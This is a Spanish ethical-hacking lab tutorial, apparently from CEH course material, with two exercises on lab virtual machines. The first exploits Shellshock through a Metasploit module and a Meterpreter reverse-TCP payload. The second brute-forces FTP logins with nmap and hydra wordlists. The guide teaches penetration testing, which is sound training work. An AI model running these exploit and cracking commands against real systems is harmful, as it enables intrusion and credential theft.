Explotación con Shellshock a un servidor web para ganar acceso sin autorización al servidor:

Escenario del laboratorio:

Para ser un experto hacker ético, tienes que entender como se testea la seguridad de la arquitectura de una sistema UNIX.

Objetivo de laboratorio:

Este laboratorio ayuda a los estudiantes a entender:

Las vulnerabilidades de los servidores Bash de Ubuntu

Explotar esas vulnerabilidades y ganar el control del sistema.

Desarrollo del Laboratorio:

Para poder realizar este laboratorio, necesitas:

Una máquina virtual con Ubuntu Server

Una máquina virtual con Kali Linux

Tareas de Laboratorio:

1. En este laboratorio vamos a utilizar las máquinas Kali Linux y Ubuntu Server, así que antes de empezar con este laboratorio, tienes que asegurarte que tienes instaladas estas máquinas.

2. Abre el buscador Iceweasel y escribe la URL <http://10.0.0.4/cgi-bin/shellshock> (10.0.0.4 es la ip de la máquina Ubuntu Server).

3. Aparecerá una página de Shellshock, como se muestra en la siguiente captura.

4. Tienes que usar esta URL para realizar los ataques a la máquina de Ubuntu. Minimiza o cierra el navegador.

5. En Kali Linux, abre una terminal.

6. Ingresa el comando **service postgresql start**

7. Ingresa el comando **service metasploit start.**

8. Ingresa el comando **msfconsole.**

9. Ingresa el comando: **use exploit/multi/http/apache\_mod\_cgi\_bash\_env\_exec,** esto le asigna al exploit **multi/http/apache\_mod\_cgi\_bash\_env\_exec.**

10. Ingresa los siguientes comandos:

**set LHOST 10.0.0.7** (IP Kali Linux)

**set RHOST 10.0.0.4** (IP Ubuntu Server)

**set TARGETURI */cgi-bin /shellshock***

**set payload linux / x86 /meterpreter / reverse\_tcp**

11. Ya tienes todos los comando necesario para realizar la explotación.

12.

Craqueando credenciales FTP usando un diccionario.

Escenario del Laboratorio:

En esta parte del hackeo de servidores web, un atacante intentará craquear las contraseñas de un servidor web. El atacante intenta todas las posibles técnicas de craqueo de contraseñas para extraer las mismas, incluyendo diccionario de craqueo, fuerza bruta, ataques híbridos. Un atacante necesita paciencia, ya que algunas de estas técnicas toman mucho tiempo.

Objetivos del laboratorio:

Los objetivos de este laboratorio es ayudar a los estudiantes a entender:

Escaneo con nmap para encontrar puertos ftp abiertos.

Realizar ataques usando el diccionario hydra.

Desarrollo del laboratorio

Para desarrollar este laboratorio, necesitas:

Una máquina con Windows Server 2012

Una máquina virtual con Windows 8.1

Una máquina virtual con Kali Linux.

Tareas de Laboratorio:

1. Antes de iniciar este laboratorio, ejecuta la máquina virtual Windows 8.1 y Kali Linux.

2. Double-click a Computer en el escritorio.

3. Se abrirá una ventana, da click en Go en el menú bar y selecciona Location.

4. Ingresa smb://[IP address of Windows Server 2012]

5. Se abrirá una ventana donde mostrará las herramientas de CEH que están compartidas por la red

6. Navega hasta CEH-Tools→CEHv9 Module 11 Hacking Webserver y copia la carpeta Wordlist.

7. Ve al escritorio, da click en places en el menú bar y selecciona Home Folder.

8. Pega el Wordlist aquí.

9. Utiliza el escaneo de nmap para ver si hay puertos FTP abiertos en la máquina destino.

10. Lanza el siguiente comando en la terminal: **nmap -p 21 [IP address of Windows 8.1].**

11. Observa que el puerto 21 está abierto en Windows 8.1

12. Chequea si hay un servidor FTP instalado en la máquina de Windows 8.1

13. Ingresa **ftp [IP address of Windows 8.1]** acá te van a pedir unos credenciales: usuario y contraseña.

14. intenta ingresar un usuario y una contraseña aleatoria para ganar acceso.

15. Este laboratorio usa hydra.

16. Abre una terminal.

17. Ingresa **hydra -L /root /Wordlist /Username.txt -P /root /Wordlist /*Password.txt ftp: //[IP Address de Windows 8.1].***

17. Hydra inicia intentando varias combinaciones de usuarios y contraseñas (presentes en Usernames.txt y passwords.txt) en el servidor ftp y muestra los usuarios y las contraseñas craqueadas como se muestra en la siguiente captura.

18. Intenta loguearte en el servidor ftp usando uno de los usuarios y contraseñas craqueados para ganar acceso al servidor.

19. Abre una terminal e ingresa **ftp [IP Address of Windows 8.1].**

20. Ingresa las credenciales de usuario y contraseña para comprobar que has ganado acceso al servidor.

21. En estos momentos ya tendrás acceso al servidor FTP.

22. Ingresa mkdir Hacked para crear un directorio llamado Hacked.

23. En la máquina virtual de Windows 8.1 dirígete a [C:\FTP](../../../../../../../../../C:/FTP).

24. Mira que el directorio llamado Hacked, así como se muestra en la siguiente captura.

25. Efectivamente has ganado acceso remoto al servidor FTP por las credenciales que obtuviste con Hydra.

26. Vuelve a la máquina de Kali Linux.

27. Ingresa **help**  para ver los otros comandos que puedes utilizar en la terminal FTP.

28. Este laboratorio ya está completado, ingresa **quit**  para salir de la terminal.